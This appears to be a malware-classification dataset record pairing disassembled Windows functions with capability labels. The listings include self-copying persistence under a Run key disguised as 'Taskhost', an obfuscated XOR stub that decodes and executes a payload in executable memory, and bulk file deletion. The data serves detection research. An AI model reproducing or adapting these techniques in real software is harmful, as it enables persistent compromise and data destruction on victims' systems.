joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b346
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040d5a0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x400
push esi
lea eax, [ebp - 0x800]
push eax
xor ebx, ebx
push ebx
call edi
push str.cmxjc48cjj.exe
lea eax, [ebp - 0x800]
call fcn.00405493
test eax, eax
pop ecx
je 0x40b3cf
push esi
lea eax, [ebp - 0x800]
push eax
push ebx
call edi
push 1
lea eax, [ebp - 0x800]
push eax
push str.Taskhost
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.004069fd
add esp, 0x14
test eax, eax
push 4
je 0x40b3b9
push ebx
push 3
jmp 0x40b3c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040a786
add esp, 0xc
call fcn.0040b2ce
call fcn.0040aafd
test eax, eax
jne 0x40b3ca
call fcn.0040ab7c
test eax, eax
je 0x40b442
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push ebx
push 9
call fcn.0040a786
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push ebx
call edi
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
test eax, eax
pop ecx
je 0x40b442
push ebx
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b442
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040abd9
test eax, eax
je 0x40b49c
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
lea eax, [ebp - 0x800]
push eax
call fcn.00407727
test eax, eax
pop ecx
pop ecx
je 0x40b487
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b43b
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40b492
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040a786
add esp, 0xc
jmp 0x40b43b
push ebx
call fcn.00407727
cmp eax, ebx
pop ecx
push esi
je 0x40b4be
lea ecx, [ebp - 0x1000]
push ecx
push dword [eax*4 + 0x41103c]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x40b4d8
lea eax, [ebp - 0x1000]
push eax
push ebx
call edi
mov ecx, str.__nomove
lea eax, [ebp - 0x1000]
call fcn.004054ed
lea eax, [ebp - 0x1000]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b43b
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
call fcn.0040a786
add esp, 0xc
mov dword [0x411054], ebx
jmp 0x40b3ca

Function at 0x40cd56
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40cd60
repz ret
jmp fcn.0040cffb

Function at 0x438c97
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x438a14
add ebx, 0xe7a7bab4
or ebx, edx
call fcn.00438cc5
and ebx, edx
or ebx, ebx
xor dword [eax], esi
sub edx, edx
add eax, 1
and ebx, ebx
and edx, edx
dec ebx
cmp eax, edi
jne fcn.00438c97
or ebx, ebx
inc ebx
ret
Function at 0x449c10
Capabilities:
Accept command line arguments
Check os version

Disassembly:
push ecx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov ebx, eax
lea eax, [esp + 0xc]
mov esi, ebx
push eax
push edi
and esi, 0xff
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
test eax, eax
je 0x449c4e
mov ecx, dword [0x64cd34]
push 0x64ca4c
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
xor eax, eax
cmp esi, 5
mov al, bh
jne 0x449c6b
cmp eax, 1
jae 0x449c7c
pop edi
pop esi
mov dword [0x64c238], 0x409
pop ebx
pop ecx
ret
ja 0x449c7c
pop edi
pop esi
mov dword [0x64c238], 0x409
pop ebx
pop ecx
ret
pop edi
pop esi
invalid
invalid
cmp dl, al
invalid

Function at 0x63656e
Capabilities:
Encode data using xor

Disassembly:
js 0x6365b6
lds edx, [edi - 0x181ebfb9]
or byte [0xaca5f186], dh
out 8, eax
xor eax, 0xaca5f186
dec esp
fisubr dword [eax - 0x638cd75d]
enter 0xffffffffffffe62b, 0x3d
out 0xd8, al
pop eax
sbb al, 0xbd
inc ebx
leave
add eax, dword [edx]
stosd dword es:[edi], eax
insb byte es:[edi], dx
jno 0x636575
adc eax, 0x2e998b19
cmpsd dword [esi], dword es:[edi]
add ch, byte [ecx - 0x25]
invalid
sub dword [ecx + 0x2893b6d8], eax
mov eax, 0x91fef8af
and dword [eax - 0x17], 0xffffffe5
ficom word [ecx + 0x5692c9ab]
push 0xc76a8bc1
dec ebp
int1
out 0xf9, eax
and eax, dword [esp + eax*4]
wait
xchg ebx, eax
int1
cmp ebx, edi
imul ebp, esi, 0xbd4b9264
enter 0x3a13, 0x48
pop eax
je 0x63661f
dec esi
jnp 0x636601
leave
inc ecx
loope 0x636594
xlatb
loop 0x6365ee
in eax, dx
mov eax, 0x716ebf8e
lea edx, [esi + 0x31c0afec]
insb byte es:[edi], dx
wait
dec edx
adc edi, edx
or al, 0xd1
mov dh, 0xb6
fisubr word [ebx]
sub al, 0xa3
loopne 0x6365bc
int3
rcr dword [ebp - 0x2b], 0x57
les esp, [edi + 0x4c]
sub eax, 0xb0eaffc0
sub byte [esi + 0x5b42982f], ah
dec eax
fucomp st(1)
nop
loope 0x63660c
sar edx, 0xa3
lcall 0x3a2, 0xc78661f8
test eax, 0x46906b2b
jmp 0x6366ba
invalid
Function at 0x2a30bc9e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x2a30bcad
pop dword [ebp - 0xc]
mov eax, 0x4ed81569
sub eax, 0x24a758bc
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x19476614
add dword [ebp - 0x1c], 0x350adf37
mov dword [ebp - 0x18], 0x18748906
add dword [ebp - 0x18], 0x19bec33f
mov dword [ebp - 0x14], 0x373736a1
add dword [ebp - 0x14], 0x15150d8d
mov dword [ebp - 0x10], 0xf972296b
sub dword [ebp - 0x10], 0xf972296b
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x6cdde1d8
add eax, 0xbd579eac
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xa555a622
add dword [ebp - 0x1c], 0xcf1cc334
mov dword [ebp - 0x18], 0x3290ab3b
add dword [ebp - 0x18], 0xedbb63a
mov dword [ebp - 0x14], 0xd6ac53dd
add dword [ebp - 0x14], 0x8cc3188f
mov dword [ebp - 0x10], 0x13a41d53
sub dword [ebp - 0x10], 0x13a41d53
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x61f81320
add eax, 0xc83d6d6c
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x4baf3
push 0
call eax
mov ecx, 0x4d27
mov esi, eax
mov edx, 0x22132288
add edx, 0x824d378
add edx, dword [ebp - 0xc]
mov edi, 0xb07fd936
add edi, 0xd4010c1
xor dword [ebp - 4], ecx
mov ebx, dword [edx]
xor dword [ebp - 8], 0xc6b1e789
xor ebx, edi
sub dword [ebp - 4], 0x8214f986
mov dword [esi], ebx
xor dword [ebp - 8], 0x50901a16
add esi, 4
add edx, 0x47d4d6ce
sub edx, 0x47d4d6ca
loop 0x2a30bdc9
add eax, 0x1276f
mov ebx, eax
add eax, 5
mov ecx, 0x2a300000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x100e08a8
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.kernel32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x100e08b9
pop esi
ret
push ebx
push edi
push esi
call fcn.100f7e30
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.100f7e30
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x100e08e1
push ebx
push esi
push edi
call fcn.100ca6c0
add esp, 0xc
push 0
call fcn.100f7e30
pop ecx
push esi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret
Function at 0x40cf0d
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41ac98]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040aa81
mov dword [ebp - 0x14], eax
cmp dword [0x43679c], esi
jne 0x40d000
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40cf8d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d0e0
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d0e0
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d0e0
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x43679c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4367a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4367a4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4367ac], eax
test eax, eax
je 0x40cffd
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4367a8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d025
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d018
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d03a
push 4
pop eax
jmp 0x40d0e2
cmp dword [ebp - 0x14], esi
je 0x40d03a
push dword [0x43679c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d01f
mov eax, dword [0x4367a8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d098
cmp dword [0x4367ac], edi
je 0x40d098
push eax
call ebx
push dword [0x4367ac]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d098
test eax, eax
je 0x40d098
call ecx
test eax, eax
je 0x40d08d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d08d
test byte [ebp - 8], 1
jne 0x40d098
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d0c8
mov eax, dword [0x4367a0]
cmp eax, edi
je 0x40d0c5
push eax
call ebx
test eax, eax
je 0x40d0c5
call eax
mov esi, eax
test esi, esi
je 0x40d0c5
mov eax, dword [0x4367a4]
cmp eax, edi
je 0x40d0c5
push eax
call ebx
test eax, eax
je 0x40d0c5
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x43679c]
call ebx
test eax, eax
je 0x40d0e0
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d0e2
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004045b1
mov esp, ebp
pop ebp
ret
Function at 0x40bd80
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47b7b8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x49f008]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov esi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov dword [ebp - 4], eax
mov eax, 0x2aaaaaab
mov ecx, dword [ebx + 4]
sub ecx, dword [ebx]
imul ecx
sar edx, 2
mov edi, edx
shr edi, 0x1f
add edi, edx
test esi, esi
je 0x40be41
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40bde6
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00402380
cmp byte [ebx + 0xe], 0
je 0x40be41
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x18]
movzx edx, word [ebx + 0xc]
cmp ecx, esi
jae 0x40be30
lea eax, [ecx + 1]
cmp esi, 8
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
mov word [eax + ecx*2], dx
xor edx, edx
mov word [eax + ecx*2 + 2], dx
jmp 0x40be41
push edx
mov byte [ebp - 0x30], 0
push dword [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x2c]
call fcn.004618c0
test edi, edi
jle 0x40beb2
xor esi, esi
mov eax, dword [ebx]
add eax, esi
mov ecx, eax
cmp dword [eax + 0x14], 8
jb 0x40be55
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x2c]
call fcn.0040a360
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 0
cmovae eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
cmp ecx, edx
jae 0x40be98
lea eax, [ecx + 1]
cmp edx, 8
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
mov dword [eax + ecx*2], 0x5c
jmp 0x40beaa
push 0x5c
mov byte [ebp - 0x30], 0
push dword [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x2c]
call fcn.004618c0
add esi, 0x18
sub edi, 1
jne 0x40be47
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x40bee8
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40bede
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40bf06
push edx
push ecx
call fcn.004632e1
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004632a0
mov esp, ebp
pop ebp
ret 4
call fcn.0046851b
int3
Function at 0x410660
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov edx, dword [esi]
test edx, edx
jne 0x410678
mov dword [esi + 4], 6
pop esi
pop ebp
ret 8
mov eax, dword [ebp + 0xc]
push ebx
lea ebx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x410680
sub eax, ebx
sar eax, 1
lea eax, [eax*2 + 2]
push eax
push dword [ebp + 0xc]
push 1
push 0
push dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop ebx
mov dword [esi + 4], eax
pop esi
pop ebp
ret 8

Function at 0x4106c0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov edx, dword [ebp + 0x20]
cmp edx, 8
mov eax, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
lea esi, [ebp + 0xc]
cmovae esi, ecx
cmp dword [edi], 0
jne 0x4106e9
mov eax, 6
jmp 0x41071d
mov ecx, esi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4106f0
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
push esi
push 1
push 0
push dword [ebp - 4]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp + 0x20]
mov ecx, dword [ebp + 0xc]
mov dword [edi + 4], eax
pop edi
pop esi
cmp edx, 8
jb 0x410752
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x410748
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410758
push edx
push ecx
call fcn.004632e1
add esp, 8
mov esp, ebp
pop ebp
ret 0x1c
call fcn.0046851b
int3

Function at 0x4112c0
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
mov eax, dword [0x49f008]
xor eax, esp
mov dword [esp + 0x1c], eax
cmp dword [ebp + 0x1c], 8
lea ecx, [esp + 8]
push esi
push edi
push ecx
lea ecx, [esp + 0x1c]
push ecx
lea ecx, [esp + 0x10]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x411305
mov esi, dword [esp + 8]
mov edi, dword [esp + 0xc]
jmp 0x41130a
or esi, 0xffffffff
or edi, esi
mov edx, dword [ebp + 0x1c]
cmp edx, 8
jb 0x411340
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x411336
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411355
push edx
push ecx
call fcn.004632e1
add esp, 8
mov ecx, dword [esp + 0x24]
mov edx, edi
pop edi
mov eax, esi
pop esi
xor ecx, esp
call fcn.004632a0
mov esp, ebp
pop ebp
ret
call fcn.0046851b
int3
Function at 0x412170
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1660
call fcn.0047a9b0
mov eax, dword [0x49f008]
xor eax, esp
mov dword [esp + 0x165c], eax
push esi
push edi
mov edi, ecx
mov edx, edi
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x412197
sub edx, esi
sar edx, 1
je 0x4122e2
push edi
lea eax, [esp + 0x264]
push 0x500
push eax
call fcn.0046b918
lea ecx, [esp + 0x26c]
add esp, 0xc
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4121d0
sub ecx, edx
sar ecx, 1
lea eax, [ecx - 1]
test eax, eax
jle 0x412216
cmp word [esp + eax*2 + 0x260], 0x5c
je 0x4121fd
dec eax
cmp word [esp + eax*2 + 0x260], 0x5c
jne 0x4121f1
add eax, eax
cmp eax, 0xa00
jae 0x4122f6
xor ecx, ecx
mov word [esp + eax + 0x260], cx
jmp 0x412220
xor eax, eax
mov word [esp + 0x260], ax
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4122e2
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileW]
nop dword [eax]
test byte [esp + 0x10], 0x10
je 0x4122cb
cmp word [esp + 0x3c], 0x2e
jne 0x41226b
mov ax, word [esp + 0x3e]
test ax, ax
je 0x4122cb
cmp ax, 0x2e
jne 0x41226b
cmp word [esp + 0x40], 0
je 0x4122cb
lea ecx, [esp + 0x260]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x412275
sub ecx, edx
lea eax, [esp + 0x3c]
sar ecx, 1
push eax
je 0x4122aa
lea eax, [esp + 0x264]
push eax
lea eax, [esp + 0xc68]
push 0x48859c
push eax
call fcn.0040a5b0
add esp, 0x10
jmp 0x4122bf
lea eax, [esp + 0xc64]
push 0x500
push eax
call fcn.0046b918
add esp, 0xc
lea ecx, [esp + 0xc60]
call fcn.00412030
lea eax, [esp + 0x10]
push eax
push esi
call edi
test eax, eax
jne 0x412240
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x1664]
pop edi
pop esi
xor ecx, esp
call fcn.004632a0
mov esp, ebp
pop ebp
ret
call fcn.00463410
int3
Function at 0x412300
Capabilities:
Delete file
Enumerate files on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x165c
call fcn.0047a9b0
mov eax, dword [0x49f008]
xor eax, esp
mov dword [esp + 0x1658], eax
push ebx
push esi
mov esi, ecx
mov edx, esi
push edi
lea ecx, [edx + 2]
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x412330
sub edx, ecx
sar edx, 1
je 0x412471
push esi
lea eax, [esp + 0x264]
push 0x500
push eax
call fcn.0046b918
lea ecx, [esp + 0x26c]
add esp, 0xc
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x412365
sub ecx, edx
sar ecx, 1
lea eax, [ecx - 1]
test eax, eax
jle 0x4123b5
cmp word [esp + eax*2 + 0x260], 0x5c
je 0x41239c
nop word [eax + eax]
dec eax
cmp word [esp + eax*2 + 0x260], 0x5c
jne 0x412390
add eax, eax
cmp eax, 0xa00
jae 0x412486
xor ecx, ecx
mov word [esp + eax + 0x260], cx
jmp 0x4123bf
xor eax, eax
mov word [esp + 0x260], ax
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x412471
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileW]
test byte [esp + 0x10], 0x10
jne 0x412456
lea ecx, [esp + 0x260]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4123f3
sub ecx, edx
lea eax, [esp + 0x3c]
sar ecx, 1
push eax
je 0x412428
lea eax, [esp + 0x264]
push eax
lea eax, [esp + 0xc68]
push 0x48859c
push eax
call fcn.0040a5b0
add esp, 0x10
jmp 0x41243d
lea eax, [esp + 0xc64]
push 0x500
push eax
call fcn.0046b918
add esp, 0xc
push 0x80
lea eax, [esp + 0xc64]
push eax
call edi
lea eax, [esp + 0xc60]
push eax
call ebx
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4123e2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x1664]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004632a0
mov esp, ebp
pop ebp
ret
call fcn.00463410
int3
Function at 0x412490
Capabilities:
Copy file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2064
call fcn.0047a9b0
mov eax, dword [0x49f008]
xor eax, esp
mov dword [esp + 0x2060], eax
push ebx
push esi
mov ebx, ecx
mov dword [esp + 0x10], edx
mov esi, ebx
push edi
lea edi, [esi + 2]
nop dword [eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4124c0
sub esi, edi
sar esi, 1
je 0x41264b
push ebx
lea eax, [esp + 0x26c]
push 0x500
push eax
call fcn.0046b918
lea ecx, [esp + 0x274]
add esp, 0xc
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4124f5
sub ecx, edx
sar ecx, 1
lea eax, [ecx - 1]
test eax, eax
jle 0x412545
cmp word [esp + eax*2 + 0x268], 0x5c
je 0x41252c
nop word [eax + eax]
dec eax
cmp word [esp + eax*2 + 0x268], 0x5c
jne 0x412520
add eax, eax
cmp eax, 0xa00
jae 0x412660
xor ecx, ecx
mov word [esp + eax + 0x268], cx
jmp 0x41254f
xor eax, eax
mov word [esp + 0x268], ax
lea eax, [esp + 0x18]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x41264b
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileW]
nop dword [eax]
test byte [esp + 0x18], 0x10
jne 0x412630
lea ecx, [esp + 0x268]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x412585
sub ecx, edx
lea eax, [esp + 0x44]
sar ecx, 1
push eax
je 0x4125ba
lea eax, [esp + 0x26c]
push eax
lea eax, [esp + 0x1670]
push 0x48859c
push eax
call fcn.0040a5b0
add esp, 0x10
jmp 0x4125cf
lea eax, [esp + 0x166c]
push 0x500
push eax
call fcn.0046b918
add esp, 0xc
mov ebx, dword [esp + 0x14]
mov ecx, ebx
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4125e0
lea eax, [esp + 0x44]
sub ecx, edx
sar ecx, 1
push eax
lea eax, [esp + 0xc6c]
je 0x41260e
push ebx
push 0x48859c
push eax
call fcn.0040a5b0
add esp, 0x10
jmp 0x41261c
push 0x500
push eax
call fcn.0046b918
add esp, 0xc
push 0
lea eax, [esp + 0xc6c]
push eax
lea eax, [esp + 0x1670]
push eax
call edi
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x412570
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x206c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004632a0
mov esp, ebp
pop ebp
ret
call fcn.00463410
int3
Function at 0x437d40
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47e429
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x49f008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov esi, dword [ebp + 8]
push esi
call fcn.00402240
lea eax, [esi + 0x18]
mov dword [ebp - 4], 0
push eax
lea ecx, [edi + 0x18]
call fcn.00402240
mov byte [ebp - 4], 1
lea ecx, [edi + 0x38]
movzx eax, byte [esi + 0x30]
mov byte [edi + 0x30], al
movzx eax, byte [esi + 0x31]
mov byte [edi + 0x31], al
movzx eax, byte [esi + 0x32]
mov byte [edi + 0x32], al
movzx eax, byte [esi + 0x33]
mov byte [edi + 0x33], al
movzx eax, byte [esi + 0x34]
mov byte [edi + 0x34], al
lea eax, [esi + 0x38]
push eax
call fcn.0045feb0
lea eax, [esi + 0x44]
mov byte [ebp - 4], 2
push eax
lea ecx, [edi + 0x44]
call fcn.0045feb0
lea eax, [esi + 0x50]
mov byte [ebp - 4], 3
push eax
lea ecx, [edi + 0x50]
call fcn.0045feb0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x437df0
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2010
call fcn.0047a9b0
mov eax, dword [0x49f008]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
mov bl, byte [ebp + 0x10]
push esi
push edi
mov dword [ebp - 0x2010], eax
mov esi, ecx
mov edi, edx
test bl, bl
mov eax, esi
cmovne eax, edi
push eax
lea eax, [ebp - 0x100c]
push 0x800
push eax
call fcn.0046b918
test bl, bl
lea eax, [ebp - 0x200c]
cmovne edi, esi
push edi
push 0x800
push eax
call fcn.0046b918
mov ebx, dword [ebp - 0x2010]
lea eax, [ebp - 0x100c]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
add esp, 0x18
push 0
push ebx
push eax
call esi
mov ecx, ebx
call fcn.00411360
test al, al
jne 0x437e81
cmp byte [ebp + 0xc], al
je 0x437e81
push 0
push ebx
lea eax, [ebp - 0x200c]
push eax
call esi
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004632a0
mov esp, ebp
pop ebp
ret